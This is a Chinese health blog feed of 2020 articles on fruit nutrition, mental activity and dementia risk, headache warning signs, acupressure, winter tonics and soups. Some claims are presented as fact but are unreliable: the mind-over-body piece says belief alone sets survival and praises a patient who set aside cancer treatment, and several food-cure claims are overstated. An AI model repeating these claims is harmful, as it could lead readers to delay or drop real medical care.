日本一般社团法人茨城县医疗中心资讯也指出,酪梨中富含的维生素E具备抗氧化作用,能帮助预防癌症,「儿茶酸(protocatechuic acid)」也有抑制癌细胞增殖的效果。

酪梨直接切片食用、每天半颗较健康

日本畅销书籍《营养不流失的食材调理秘诀》的监修者、东京慈恵会医科大学附属医院营养部课长滨裕宣表示,酪梨的多种营养,维生素E、B群、C、钾容易因为加热而大量流失,建议直接切片食用,或是混入生菜沙拉之中,能保留更多营养。

不过日本管理营养士、酪梨料理研究加绿川鲇香也提醒,一般水果的脂质只有0.1~0.5%,酪梨却高达20%,也因此热量比起其他水果要高出不少,虽然酪梨中的脂肪是良好健康的脂肪,能帮助抑制坏胆固醇、预防动脉硬化,但如果天天吃酪梨,一天以1/2颗为宜,经常吃却没有每天吃的话,一天可以吃1整颗也没有关系。


酪梨

2020-11-13 / by / in
研究证实:50岁后常做这件事 患认知障碍的风险减少48%

健康/老年人/认知障碍

众多研究表明,任何引起大脑皮层功能和结构异常的因素,均可导致认知障碍,记忆减退和认知功能退化是失智症的部分前兆。

轻度认知障碍比较「新」,医学界提出这个概念还不过十来年,它同样以记忆力、智力减退为主要表现,与阿尔茨海默病(Alzheimer’s Disease, AD)及其他痴呆性疾病之间有着千丝万缕的联系,是一个很值得关注的「危险信号」。

许多研究证实,老年脑部退化一旦发生,就是不可逆的事实。然而多用脑,有可能降低认知受损的风险。美国新研究指出,进入中年后多用脑,包括学习电脑、益智游戏和手作艺术,罹患轻度认知障碍(MCI)的机率就愈低。

认知功能退化,是每个人进入老年时,都可能面对的处境。有人严重到忘记自己和家人,有人则处于半清醒、半迷失的状态。美国梅约医学中心(Mayo Clinics)医学专家吉达(Yonas E. Geda)说,愈来愈多研究都发现,生活方式的改变,有助于延缓脑部思考和记忆退化的问题。


老伴儿

调整生活方式多用脑 延缓认知退化

生活方式包括饮食调整、运动,以及透过许多心智和社交活动,刺激中老年人多用脑。

康健杂志报道:发表在《神经学(Neurology)》的新研究,检视心智活动与轻度认知障碍之间的关系。研究将2千名50岁以上的受访者分成两组:一组是50~65岁,另一组是66岁以上。

研究分成两阶段,首先以问卷调查两组成员,各花费多少时间在从事5种脑部心智活动上,包括阅读、使用电脑、社交活动、益智游戏、和手作艺术。第二阶段则让这些组员在5年的时间里、每隔15个月进行脑部认知和记忆的测试。


老人

50岁后常用电脑,减缓轻度认知障碍

研究人员发现,50岁之后常使用电脑的人,罹患轻度认知障碍的风险减少48%;66岁以后则减少33%。另外,中年和老年之后使用电脑,思考能力和记忆衰退的风险,则减少37%。而常有社交活动、以及常玩益智桌游的人,轻度认知障碍的风险也降低20%。

研究数据也指出,同时参与多种活动,罹患风险就愈低,比如做3种活动,罹患风险减少45%,从事4种的风险就减少56%。

心智活动为何有利于降低认知退化风险,目前虽然还不清楚真正原因,但一般说来,这是脑部对于频繁使用的正面反应。──美国梅约医学中心(Mayo Clinics)医学专家吉达(Yonas E. Geda)


纸牌游戏

刺绣、拼布手作艺术 活化心智

还有一项值得注意的结果,拿来训练幼儿手眼协调和精细动作的手作美劳活动,对66岁以上的老年人相当有帮助。研究发现,手作工艺可将老年人罹患轻度认知障碍的风险减少42%。手作工艺的选择很多元,有刺绣、拼布、毛线、剪纸和折纸等。

「研究结果是证实心智活动和减少轻度认知障碍的关联,但并非因果关系。」参与研究的梅约医学中心(Mayo Clinics)研究人员奎尔萝西(Janina Krell-Roesch)澄清,不是说活化脑部,就能阻止认知障碍的发生。「针对轻度认知障碍、失智症和阿兹海默症,目前医界尚无有效的疗法。」


手工

心智活动活化脑部 多多益善

主持并撰写研究的吉达说,即使白发苍苍,只要记得多动脑,延缓和降低脑步认知功能退化,都是做得到的目标。除了用电脑,学用手机3C产品也有类似的效果。「无论你年纪多大,这些活脑游戏都会对你有所帮助。」

「随着年纪增长,要维持脑部健康,的确有方法可以遵循照做。」美国阿兹海默症协会(Alzheimer’s Association)的资深主任辛德(Heather Snyder)说,让脑常保健康,是一辈子的事。让心智游戏和社交活动成为一种固定的生活习惯,就能有效刺激脑部,延缓认知退化。


玩游戏

2020-11-13 / by / in
第一名居然是它!十大营养价值最高的水果排行榜

健康/水果/生活

水果含有人体所需要的多种维生素、营养丰富并能促进身体健康, 水果的种类有很多,下面给大家介绍十大营养价值最高的水果。

桃子

1、桃子——含铁量居水果之冠

民间有句俗话“桃子养人杏伤人”。因桃子富含多种维生素、矿物质及果酸,其含铁量居水果之冠。铁是人体造血的主要原料,对身体健康相当有益。


杏 apricots 

2、杏子——止咳润肠通便好

杏含有柠檬酸、苹果酸、β胡萝卜素,主要用于止咳平喘、润肠、通便。但是《本草纲目》记载“生食多,伤筋骨”。


西瓜

3、西瓜——清热解暑又利尿

我国民间有句谚语:夏日吃西瓜,药物不用抓。说明夏季最适宜吃西瓜。西瓜富含维生素A、B1、B2、C,葡萄糖、蔗糖、苹果酸、谷氨酸和精氨酸等,有清热解暑、利小便、降血压的功效,对高热口渴、暑热多汗、肾炎尿少、高血压等有一定的辅助疗效。

西瓜虽好,但中医专家认为,西瓜属寒性食物,易伤脾胃,所以脾胃虚寒、平常有慢性肠炎、胃炎及十二指肠溃疡等或大便稀溏的人最好少吃。正常人也不宜食用过量,否则会损伤脾胃而引发消化不良或腹泻。

需要提醒的一点是,夏天感冒发烧的患者常常借助进食西瓜来补水、退烧,但是因为它属于甘寒食物,不宜用于风寒感冒及感冒初期,特别是患有畏寒、无汗等症状者不宜食用。


橘子

4、柑橘——柠檬烯有抗癌作用

柑橘果实能润肺理气,新鲜橘汁含多种肌酸、维生素,对人体新陈代谢有帮助,具有美白效果,还兼具多种保健功效。橘瓤表面的白色丝络,含维生素P,能防治高血压,具化痰功效。有一种著名的精油,叫柠檬烯精油,这些精油是大多数橙橘类最主要的部分,目前研究指出柠檬烯具有抗癌作用。


木瓜 papaya 

5、木瓜——治疗蛋白质消化障碍

木瓜不仅是一种美味的水果,还有医疗效果。木瓜中含有一种称为番木瓜(papain)的重要消化酶,可将蛋白质类食物分解成可消化的状态,可溶解高达其本身35倍的瘦肉,这就是人们会以木瓜来治疗蛋白质消化障碍的原因。其在木瓜树的叶部及尚未成熟的木瓜果皮中含量最多。


菠萝 pineapple 

6、菠萝——分解蛋白质消血块

每100克菠萝果实中所含的维生素C高达30毫克,并含有丰富的水分。它的果肉中和木瓜一样含有一种能分解蛋白质的酵素,因此它能柔软肉质、消解血块。


草莓 strawberry 

7、草莓——减少日晒疼痛

草莓富含维生素C、B、钙、磷和钾,今日仍在植物性药品中占有一席之地。其叶部煮沸后可当做一种收敛剂,并能治疗腹泻、发烧、口内溃疡及牙龈等疾病。


葡萄 grape 

8、葡萄——抗氧化效果好

葡萄籽的抗氧化效果不仅是维生素C的20倍,更是维生素E的50倍。葡萄籽含有大量的OPC抗氧化剂,OPC是一种强效类黄酮,主要存在于表皮与种子里,红色葡萄籽尤其是OPC的有效来源,是增加人体内抗氧化活动的潜在关键,可保护免疫氧化损伤,并延缓老化过程。


香蕉banana

9、香蕉——抗忧郁助睡眠

香蕉为人类最古老的水果之一,其营养价值相当高,是天然钾的来源,同时还含可以抑制引发高血压、心血管疾病的钠,它维持正常血压和心脏功能,还富有让人远离忧郁的维生素B6及抗紧张的矿物质镁,也是必须氨基酸———色氨酸的来源。其和维生素B6、烟碱酸及镁一起作用,是人体制造血清素的主要原料,具有抗忧郁、镇定、安眠之功效。


苹果apple

10、苹果——降胆固醇预防胆结石

苹果不仅含有蛋白质、脂肪、碳水化合物、多种维生素、矿物、苹果酸等,还有一种宝贵的果胶成分。果胶是一种可溶性纤维素,能促进胃肠蠕动,调理肠胃,并和胆固醇结合,帮助人体排出体外,达到降低胆固醇的目的。其中果胶也会和胆囊中的胆固醇结合排出,可以稀释胆汁,有预防胆结石的效果。

2020-11-12 / by / in , ,
研究结果实证 身体状况竟随心念改变!

健康/身体/意念

在太多人的思想中认为衰老和人体机能减弱是有必然的联系,其实这种思维对身体状况来说极具杀伤力。

据研究实证人的身体拥有非常强大的自我修复能力、自我疗愈能力、自我适应能力、自我觉醒能力、自我救赎能力。

人体,就相当于一个小宇宙,本自具足,每个人都拥有强大的潜能,每个人都是一个蕴藏宝藏的宝库。而打开这把宝库的钥匙,就是人对自己的发自内心的相信。

心念有多大,你的宇宙就有多大

当你认为自己不行时,你真的就不行了;当你觉得自己病倒了时,就真的起不来了;当你认同医院的判决只能活3个月时,3个月就是你的死期…

这是一个看似很荒诞,但却又很现实的事实。很多人生病后,不是死于疾病本身的痛苦,而是死于对疾病的恐慌、担忧和畏惧。

而事实上,真相是:当你有坚强的信念不被负面情绪牵动,坚定地保持意念不倒时,一切都能够无可限量!


你的心,足够的坚定吗?

国立台湾大学病理科教授李丰,年轻时在加拿大留学,被发现患上癌症,只能活6个月,在经过手术、放疗和化疗后,疗效不佳。于是她决定暂时放弃,依靠内心观念的修正、饮食生活的调整、身心健康的训练来让生命重焕生机,结果至今她已经多活了三十多年。

佛教法师梦参老和尚,在他80岁的时候查出直肠癌。术后,医生断言他最多活不过五年。但他并未在意,而是仍然心态平和地做好该做的事,结果直到107岁在五台山安详示寂。

我们与生俱来就有神医跟随,它就可以疗愈我们的身心各种问题。管理好心念、情绪才是长寿秘诀。

美国著名心理学专业刊物《心理科学》,在前不久公布了一项很有趣的实验成果:通过改变一个人内心对自身视力的预期,能改变他真实的视力水平。


普通的视力表是上大下小,于是被测者就有一个心理预期,越往下就会越看不见。而在这项实验中,实验者将视力表的字幕设计为上小下大。被测者的心理预期被扭转过来,越往下,应该看得清楚。

实验结果惊人,被测者的视力水平有了大幅提高,在普通视力表中看不清的字母现在也能看清楚了。

这个实验的效果有点像“安慰剂效应”。所谓安慰剂,本身没有任何治疗作用,但在患者不知情的情况下,出于对医生信任、自身的心理暗示和疗效的期待,就完全可以达到改善症状、缓解病情的效果。


这意味着,人的心与身之间,意念与躯体之间,存在着奇异而隐秘的联系。

如果相信它会影响你,它就会;如果你不相信,它就不会

所谓的“身心健康”,“身”是具体的,而“心”却无形而难以捉摸;我们在解决各种身体状况时,只会直来直去的解决身体症状,这样真的正确吗?

在刻板印象下,人生来到了四五十岁就会步入衰老,很多人也自此开始喜欢追忆往昔,甚至谈论退休生活,俨然一副饱经沧桑的模样。

难道年龄大了就意味着一定老了吗?事实证明,并非如此。


好莱坞曾拍一部名为《倒时钟(Counter Clockwise) 》电影,影片基于一个真实的实验案例。一位名为艾伦·朗格的实验心理学教授在1979年做过一个实验:

在美国匹兹堡的一个修道院中,她精心搭建了一个“时空胶囊”,将它布置得和20年前一模一样。

她邀请了16位七八十岁的老人,随机分为8人一组。

一组人让他们生活在时空胶囊里一个星期。在这一周内,人们沉浸在1959年的环境里,听上世纪50年代的音乐,看50年代的电影和情景喜剧,读50年代的报纸和杂志,讨论美国第一次发射人造卫星等50年代的国际时事等;他们需要像在20年前一样打理生活的一切,从起床、穿衣服到收拾碗筷以及走路。

而另一组,则是在完全相同的饮食作息条件下,用怀旧的方式回忆和谈论1959年发生的事。

实验的结果是,两组老人的身体素质都有了明显改善。


实验前,他们几乎都是家人陪着来的,老态龙钟、步履蹒跚。实验一周后,不仅视力、听力、记忆力都有了明显的提高,步伐、体力都有了明显改善。

而“活”在20年前的老人们进步更加惊人,他们手脚更加敏捷,智力测验中得分更高。甚至局外人,在看到他们实验前后的照片,几乎不敢相信自己的眼睛。

面对如此结果,直到今天,我们虽然仍难以解释那一个星期中,这些老人的大脑和身体之间到底发生了怎样的交互。

但是,从心理上真正地相信自己年轻了20岁,身体就会做出相应的配合,这已经是确定的事实。

这也证明了,衰老不单单是机体的老化,也来自心理的暗示。生理会引起心里的变化,心念更能导致生理的改变。


小莲花

心随境转,身随心转

衰老是一个被灌输的概念。老年人的虚弱、无助、多病,常常是一种习惯性无助,而不是必然的生理过程。

比如说人老了,记忆就一定衰退吗?答案并不是绝对的!真正抑制我们潜能的是我们身处一个崇拜青春而厌弃老年的社会。

很多人固执地认为衰老和人体机能减弱有着必然的联系,这种思维定势极具杀伤力。如果我们对自己的生活有更多的控制权,由自己决定娱乐节目,自己照顾房间里的植物,就会比那些被全方位照顾的老人更加快乐、年轻和长寿。


2020-11-12 / by / in ,
真正搞懂!头痛和这些症状是脑中风、脑瘤前兆

健康/脑中风/头痛/脑瘤

头痛是临床常见的一种症状,其特征会反复发作,而且头痛会有多种原因引起。

据调查显示,台湾有10万人天天头痛,每个月头痛一次的人高达6成;也有调查发现,台湾上班族9成都有头痛的经验,近半数是属中强烈头痛。若是经常性头痛,会不会是脑中风、脑瘤的前兆?该如何有效对抗头痛,远离重大疾病的威胁?

你也是头痛一族吗?据常春月刊429期发布:研究报告指出,头痛是现代上班族常见的困扰,却也是长期被忽视的疾病,许多人只要一头痛就担心是不是患了脑瘤?长安医院神经内科&神经整合治疗中心主任林邵臻表示,头痛的定义很广泛,有些人一头痛会突然单边没力气,有人头痛会先头晕,这些都算是头痛,只是伴随不同症状。

头痛别轻忽!一定要就诊

一般来说,脑瘤或脑中风的病人,除非脑压升高,才容易引发头痛反应,在临床表现上,脑瘤是慢慢形成的,少部分病人会头痛外,还可能伴随严重恶心、呕吐,或合并半边手脚无力、意识不清、说话困难等症状。


头痛

林邵臻进一步说明,现代人的头痛问题,很多是因为其他病症所导致,例如眼压过高的青光眼、感冒或慢性鼻窦炎导致头痛、刚拔牙或颈椎退化也会造成头痛……,高血压引起的头痛,通常血压都要非常高,才会感觉头不舒服、头闷、有点痛的不适。

「头痛分为原发型与续发型」,前者是没有原因的头痛,后者续发型可能是因为外伤、血管有状况,或是药物过度使用、感染以及结构上的问题。林邵臻指出,不管是哪一型头痛,应就医检查诊断,才能真正把头痛解决,降低头痛影响正常生活的机率。

常见偏头痛,别忍到住院!

依国际头痛分类,没有原因的头痛就属「原发型头痛」,一部分会遗传,有的病人症状会比较明显,可能因为睡眠、作息、饮食、女性荷尔蒙等因素,会诱发「偏头痛」;「原发型慢性每日头痛」是指每月病人头痛频繁至少15天,在一般人口的盛行率为4~5%,在头痛门诊的比例为1~44%,最常见的「偏头痛」就是这类,诱发因子很多,压力是其中一种,酒精、咖啡因、柠檬酸的食物,也都是诱发因子。


头痛

林邵臻提醒,有很多偏头痛的病人会狂吃止痛药忍到太晚才就诊,导致「偏头痛重积状态」,产生一种使人极度失能的偏头痛,若发作持续超过72小时,就需要住院治疗。

其他常见的头痛类型,像是「丛发性头痛」,症状是绝对固定于单侧发作的剧痛;而「紧缩型头痛」的典型症状,为双侧压迫或紧缩性头痛;「外在压力性头痛」则是因持续施于颅周软组织的压迫或牵引所导致的头痛,例如头绑紧带子、戴帽子或安全帽、游泳或潜水时戴的护目镜等。

注意症状!恐脑中风或脑瘤警讯

若自觉头痛时,有伴随类似中风的症状,例如走路不平衡、视觉受损,或整个人突然感觉不太一样,尤其有头痛病史的人,更要注意头痛的位置、严重程度、痛的形态是否有改变,才能有效防范急性血管堵塞与破裂造成脑中风。


头痛

头痛的原因非常多,林邵臻指出,除了一般原发性头痛,也有可能是身体发出的警讯,尤以小孩跟老年人是属于脑部长肿瘤机率较高的族群,通常小孩患有先天性脑瘤的机率不是没有,会反应在走路有问题、反应变慢、发展迟缓等表现,其中又因癫痫发作就诊发现脑部有肿瘤最为常见。

在诊断上,要区别头痛、脑中风与脑瘤,除了问诊外,也可辅以脑波、脑部电脑断层、核磁共振等检查,来协助厘清最根本的问题。基本上,经常性头痛「很少」直接代表就是罹患了脑中风和脑瘤,大部分的脑中风跟脑瘤都会伴随其他症状,例如失智、记忆力障碍、步态改变、个性改变、幻觉、不自主抖动、单边越来越没力、视野缺损、讲话越来越慢、大舌头、吞咽困难等。

脑中风的头痛,出血比例高!

脑中风常见的症状是「脸歪」,尤其是在下脸部1/4的位置,患者会不自觉流口水、有吞咽困难或是单侧手脚麻或是没力。如果是小脑中风,就会导致平衡系统出现问题;也曾有病人因为单边眼睛看不见就诊,经诊断是脑部视觉区中风所致;一般脑中风的症状很少包括「经常性头痛」,因为脑部血管出血导致明显头痛的比例较血管塞住为多。


头痛

林邵臻说,一般脑瘤有分先天与不明原因、其他部位转移等因素,后天型动脉瘤可能会因为血压较高或血管结构有问题而导致,因此,平常多注意血压,可预防动脉瘤及脑血管急性破裂。头痛是一种非常主观的感觉,医师通常都会以许多客观症状,加以判定是否为脑部的问题,可能是因哪些疾病或生活习惯所致,才能对症下药。

女性容易偏头痛

台湾头痛学会统计,「偏头痛」在台湾的盛行率约为9.1%,男女比例约1:3,年龄层分布相当广泛,尤以青壮年人口比例最高。而且偏头痛的终身盛行率,女性为95%,男性则为90%,女性因为生理期、排卵期的差异,荷尔蒙影响睡眠、血管的因素,偏头痛比例较高。因此,进入更年期因荷尔蒙波动降低,偏头痛就会降低。

偏头痛不是病,却常常痛起来要人命!偏头痛患者经常会感到恶心、想吐、畏光、怕吵、眩晕、耳鸣,甚至还会产生听力低下、反复发生单眼视觉障碍,包括闪烁、暗点或失明,发作的频率每月多达15天、持续3个月以上,其中每月超过8天以上发作,就是偏头痛的特征。


头痛

门诊观察发现,头痛的病人有越来越多的趋势,但很多人是因为「颈椎」姿势不良所致,主要是肌肉疼痛的问题,并不是真的头痛,像现在有许多没睡好的「熬夜族」、「3C低头族」,或是「周末补眠族」睡太多也会头痛,可调整日常生活作息来降低诱发因子,即可摆脱恼人的「紧箍咒」。

止痛药过量,当心吃了更痛!

一般经常性头痛的病人,吃止痛药解痛虽然有效,但如果生活作息没有调整,吃止痛药太频繁而过量,也有可能吃到没效,甚至会吃出「药物过度使用头痛(MOH)」,就是止痛药使用过量所导致的头痛,患者吃了止痛药反而头更痛,已经吃成药物过度使用的头痛,肝肾代谢也会出现问题。林邵臻提醒,务必按照医嘱服药,即使是原发型头痛也是可以达到预防发作的效果,有效降低对生活的影响。

止痛药刚开始服用会很有效果,但如果长期吃会渐渐习惯,就会越来越没效。偏头痛有分慢性药物与急性药物,如果一个月的头痛天数超过10天的慢性偏头痛患者,会给予慢性偏头痛的药物,以降低发作频率,就能有效降低药量,待发作时只要服用急性止痛药即可,就能与头痛宿敌和平共处。


头痛

感冒糖浆易成瘾,注意剂量!

至于许多人便宜行事,经常服用感冒糖浆缓解头痛,林邵臻强调,一定会有药物过量而造成更严重头痛的隐忧。由于这类的成药内,通常都含有抗组织胺,会有嗜睡、降低注意力的副作用,患者会觉得感冒头痛比较舒服、不痛了,自然觉得有效;也可能含有帮助提神及缓解头痛的咖啡因,一旦服用过量,会引起神经紧张、失眠和心搏过速,长期使用还会成瘾。

另外,像是用来止咳的支气管扩张剂,可能导致呼吸困难、血压升高,老人家和心脏病患者都不适合服用,更别说有些人因为觉得很有效,可能一次就喝掉一整罐,其实早已过量,不止伤肝肾,还会药物成瘾,非常难戒,更别说是肝肾还没发育好的小朋友,尤其要注意碰不得。

中医也可缓解头痛

「通则不痛、痛则不通」,中医观点来看,长安医院中医科主治医师郑鸿强指出,现代很多人有头痛问题,尤其不少低头族因姿势不良造成肌肉僵硬、循环差而头痛,若是又常喝含糖饮料,就更容易造成血管堵塞。

「不通则痛」,可以刮痧散热搭配热敷有助舒缓,也可针对6穴位进行按摩,搭配中药茶饮,对头痛会有缓解之效。

止痛6穴位

1.百会穴:

在头顶的正中点,督脉的正中间。以手指或以精油、绿油精,进行穴位按摩或轻拍。


百会穴

2.攒竹穴:

眉毛内侧之眉头处。以手指按压或轻揉此穴2秒后放松,再持续按压,也可以小毛巾冰敷,能舒缓丛发性头痛的症状。

3.风池穴:

枕骨下方与耳垂相平处,是胆经穴位。以手指按压或轻揉此穴2秒后放松,再持续按压,可以改善偏头痛症状。

4.太阳穴:

眉毛外端与眼外角连线之凹陷处。以手指按压或轻揉此穴2秒后放松,再持续按压30下,对偏头痛的舒缓有效。

5.合谷穴:

大拇指与食指间虎口处,是中国古代长寿养生穴。像针灸扎针一样按压,可增加脑内啡分泌,具有止痛效果。

6.列缺穴:

大拇指根部上方三指宽处。以手指按压或轻揉此穴2秒后放松,再持续按压30下,会感觉酸,也可以缓解头痛。

解痛3茶饮

◆山楂茶

药材:山楂1两、草决明子1两、菊花2钱、甘草2片。

作法:将所有药材洗净,以水5碗煮至2碗,当茶饮用。


干山楂

◆落神花茶

药材:落神花5钱、菊花5钱、甘草1钱。

作法:将所有药材洗净,以水5碗煮至2碗,当茶饮用。

◆绿豆茶

药材:绿豆1两、薏仁1两。

作法:将所有药材洗净,以水5碗煮至2碗,当茶饮用。

常见诱发「偏头痛」原因

1.压力:

压力是诱发偏头痛最常见的因子,许多人头痛会因压力而恶化。有少数的人是压力解除后才开始头痛,常在不上班的周末发病,又称为「周末头痛」。

2.酒类:

有些人是对所有的酒精都会引发,有些人仅限于红酒或啤酒。


3.咖啡因:

大部分的人喝了咖啡可以改善偏头痛,但有些人则会引起偏头痛,或者是因咖啡因戒断引起头痛。

4.特定的3C食物:

是指含柠檬酸的水果(citrus fruits)如柠檬、葡萄柚、柑橘;起司(cheese),包含其他乳制品;巧克力(chocolate),有人吃了会产生头痛。

5.醃渍或加工食物:

像香肠因为加入亚硝酸盐,也可能造成偏头痛。

6.节食瘦身或错过正餐:

这是常见的诱发因子。

7.吃冰淇淋引起的头痛:

台北荣总的研究显示,偏头痛的青少年比没有偏头痛的人,更容易产生这种「冰淇淋头痛」,比例高达55%。

8.药物:

常用于心绞痛、造成血管扩张的药物,包括硝化甘油舌下含片、含二硝酸异山梨醇的药物、含双嘧达莫的药物等,以及预防中风用药,也易引发头痛。


9.天气变化:

气压和湿度的改变,太冷、太闷热的天气,也会引起偏头痛发作。

10.常见的环境刺激:

光线(像强烈闪烁的灯光)、气味(像香水、香菸、特殊而强烈的食物味道)、声音(尤其是突然且巨大的噪音)等刺激,也会偏头痛。

11.月经及女性荷尔蒙影响:

约半数的女性,在月经前后特别容易有偏头痛,被称为「月经偏头痛」。停经后使用的女性荷尔蒙和避孕药,也都可能引发偏头痛。

12.熬夜、失眠或睡太少:

睡太多也会引发偏头痛发作,建议偏头痛的人要有规律的作息,以避免头痛发作。

13.运动:

偏头痛的人在头痛发作时,运动会加重头痛的严重度;有证据显示,规律的运动可预防偏头痛;但突然增加运动的强度,则可能引发偏头痛发作。


剧烈运动

14.食物添加剂:

饮食中常用的味精及人工甘味剂阿斯巴甜,都可能引发偏头痛。

2020-11-11 / by / in
传统中医:冬令进补养生御寒 但这3体质千万别补

健康/进补/体质/冬季

《早安健康》报道,传统中医指出,冬季可说是万物休养的时候,此时进补养生着重「养阴益肾」,亦即保养阴气、补益肾脏。这样看来想达到身体健康,就要多听听专家的建议,更好达到强身健体的效果。

冬令进补适合选用温热药物或食材进补,不过,急性发炎、慢性病、自体免疫性疾病等病患千万不能进补。

《早安健康》报道,刘筱薇医师指出,吃药膳、补身子之前应先识别体质,因为不同体质适用不同药材、食材,唯有认识自己的体质,如此才能吃对补品,否则吃错补品不但达不到效果,甚至还可能出现反效果。

冬季气温低,人体必须有足够阳气以便御寒,除了衣物保暖之外,最好少吃生冷食物,多吃能够温养阳气的食物或药物。

刘医师提醒,一般民众要注意,冬令进补有禁忌,特别是正处急性发炎症状的人不可吃补,包括感冒发热、咽喉疼痛、痔疮发作、大便带血,以及患有高血压、高血脂、高血糖、肾脏病、痛风等慢性病患者也不可随便乱补一通,这些人可多吃绿色蔬菜。

红斑性狼疮、类风溼性关节炎、僵直性脊椎炎等自体免疫性疾病病患皆属免疫过度亢进现象,身体长期处在发炎状态,如果吃下温热性中药材,很可能会进一步促使免疫亢进,因此不宜擅自进补,尤其是在疾病发作期,如果患者还是想要进补,建议经过中医诊断指示之后,可选择滋阴润燥类食物或药物。

生活作息方面,中医认为,冬天应早卧晚起,亦即早点就寝、晚点起床。此外,由于日夜温差大,习惯早起运动的人应尽量延缓外出运动时间,特别是患有心肺疾病的中老年人最好等到日出之后再外出运动比较好。

2020-11-11 / by / in
生姜搭它入菜!专家:有效降低血压

健康/生姜/香菇

天冷时人体会发生一些变化,比如血液循环变差,容易让血压上升,还会让人头痛、疲倦、晕眩等症状,而且还会引起心血管疾病风险。日本植物专家推荐吃香菇加上生姜,一次吃进两种有助控血压的好食物!

乾香菇富含鸟苷酸,可望帮助溶解血中凝块、控制血压

早安健康报道:日本第一工业大学自然环境工学科教授、植物机能专家吉本博明表示,平时摄取过多糖分、脂肪会导致血液变得黏稠、循环变差、血压上升,特别是到了冬天天冷少动、运动不足,血液浓稠、高血压的问题愈发严重,也容易因此引发其他心血管疾病。

吉本博明推荐透过摄取鸟苷酸(Guanosine monophosphate)来改善,鸟苷酸能帮助分解血液中的凝块,让血液流动恢复顺畅,血压也可能因此降低。而香菇正是富含鸟苷酸的食物,特别是乾燥香菇中的鸟苷酸,比起新鲜香菇要来得更多。1877年创立的日本老字号菌菇专卖店「姬野一郎商店」提供之资讯也指出,新鲜香菇中几乎不含鸟苷酸,而每100g乾燥香菇则大约含有150mg鸟苷酸。


香菇

日本救急医学会急诊科医师伊藤恭太郎,也认为吃香菇有助于控制血压,不过他所着眼的是香菇丰富的膳食纤维,能帮助减少血中胆固醇、防止动脉硬化,避免动脉硬化造成的血管变硬,迫使血液流量增加、血压升高。

吉本博明补充,鸟苷酸在摄氏10~50℃时会被分解而减少,而5℃以下的冰水能保留更多鸟苷酸,大约是用热水泡的3倍之多。而如果能搭配生姜食用,生姜中的姜辣素(gingerol)也能帮扩张血管、降低血压,两者一起吃会让降血压效果更好。


生姜

2020-11-10 / by / in ,
牛肉滋补不如它,立冬后经常吃,孩子身体强壮少生病

健康/滋补/骨头汤/牛骨

立冬開始气温会逐渐转冷,中医指出:阳气渐衰,阴气渐长,为了健康适宜温补。

人们常说“立冬犹十日,衣亦未装绵”,立冬后天气正式进入冬季,这几天异常寒冷,北方地区甚至下了今年的第一场雪,冬天比夏天更消耗能量,夏天虽动不动就流汗,但大多是水分,对人体热量需求少,天热的时候很多人都食欲不振,这也是人体不需要更多热量的一个表现。而冬天阳气弱,即使你坐着不动,人体也会消耗更多的能量去自动抵御严寒,这时候就需要冬补来补虚。

北方天气一冷就流行吃羊肉、牛肉等高热量、高营养来的食材来抵御风寒,但老话说:吃肉不如喝汤,老人们认为用肉制品熬汤后比肉本身更养人,营养更容易被人体吸收,而用来煲汤最好的原料就是羊脊骨、牛腿骨、猪棒骨等食材,加之秋冬季天气干燥,常喝点营养丰富的汤类,既润燥又能很好的补充营养。

据《中华本草》记载:牛骨,味甘;性温。

给6-7岁儿童牛骨髓骨粉酥糖,连续3个月,其龋齿的发生率明显低于对照组,而身高、体重的增长也优于对照组,更有减少感冒,使注意力集中,智商卜升等优越性。


牛骨

从牛软骨中提取软骨抗肿瘤组分( CATC),利用3H-TdR掺入法研究其对肿瘤细胞DNA合成的抑制作用,当CATC浓度低于1250μg/ml时,对人宫颈癌(Hel-a)细胞和QGY7733肝癌细胞有剂量相关的抑制作用,对HeLa细胞的抑制作用明显高于对QGY7703细胞的抑制作用,而对人皮肤成纤维细胞则有促进作用,当浓度为 313μg/ml时,促进作用最强。但高浓度的 CATC(5000μg/ml)对上述 3种细胞均有明显抑制作用。CATC对两种肿瘤子细胞有明显抑制作用,其中对Hel-a细胞的抑制作用较强。此外,CATC对小牛主动脉血管内皮细胞有明显抑制作用。上述实验表明,CATC既能直接抑制肿瘤细胞生长,也能抑制血管生成而切断肿瘤的营养供应,从而能更充分发挥其抗肿瘤作用。:

今天我们就用牛骨做一道非常适合立冬前后冬补喝的汤, 牛骨的价格跟牛肉一个天上一个地下,便宜太多了,牛骨上有很多没有剔干净的牛肉, 用它来煲汤,不但含有牛肉几乎全部的营养,还有牛骨特有的高钙、 胶原蛋白等营养物质,尤其是孩子,在这个季节喝点牛骨汤, 能促进骨骼生长,增强免疫力,让孩子身体强壮少生病。


牛骨萝卜汤

【主料】牛骨两块【辅料】白萝卜半根、大葱白一段、姜一块、 红枣三个

【调料】盐适量、胡椒粉半勺

【做法】将牛骨用水清洗,沥干水分, 白萝卜去皮后切成滚刀块,葱切段、姜切片备用。为什么选用萝卜当成辅料,俗话说:冬吃萝卜夏吃姜, 萝卜赛过小人参,说的就是萝卜的高营养价值, 况且现在萝卜真是便宜。

牛骨沥干水分后,锅内加少许油,把牛骨放入用小火慢煎,要把每个面都煎到微黄,这样做出来的汤滋味鲜美,没有腥味。将牛骨放入砂锅中,加入刚好没过牛骨的水,放入葱段、姜片, 盖上锅盖,大火煮沸3分钟。用勺子撇去煮出来的少量浮沫。加入切好的白萝卜和红枣,盖上锅盖,中小火 慢炖1个小时。


牛骨萝卜汤

最后出锅前,加入适量的盐和半勺左右的胡椒粉即可。牛骨上的肉一点也不柴, 吃起来比牛肉香多了。熬骨头汤的时候,基本上什么调料都不要放,八角、桂皮什么的都不需要,喝的就是这个骨汤的鲜味,不是调料的味道。

2020-11-10 / by / in
所谓高情商,其实背后都是透着善良

情商/善良/真诚心/替别人着想

在生活交际中,人们都很羡慕那些情商比较高的人,他们能很好的处理任何事情,并且能自信乐观的面对每一个人,有句话说:“情商,不是八面玲珑的圆滑,而是德行具足后的虚心、包容、自信和格局。”

真正的高情商,其实是心里装着别人。真正情商高的人,往往都懂得真心实意地站在对方角度着想。

真正情商高的人,往往都懂得遇事不会指责他人。人非圣贤,孰能无过,每个人都难免会犯错误,比起指责,更有力的是宽容。你永远不会知道,你的一句随意指责会给别人带来多大的伤害。

01

有人说,所谓情商高,就是好好说话。一个人情商的修炼,往往是从好好说话开始的。

曾经看过一个故事印象:有一位朋友是个口吃,说话很慢。一天,他们几个人走在路上,遇到有人过来问路,没料到问路人竟然也是个口吃。整个问路过程,这位口吃的朋友没有说过一句话。

同行的人感到奇怪,等问路的人离开后,他们问他为什么刚才如此沉默。口吃的朋友说道:“人家也是口吃,我要是说话了,那人会以为我是在模仿戏弄。”


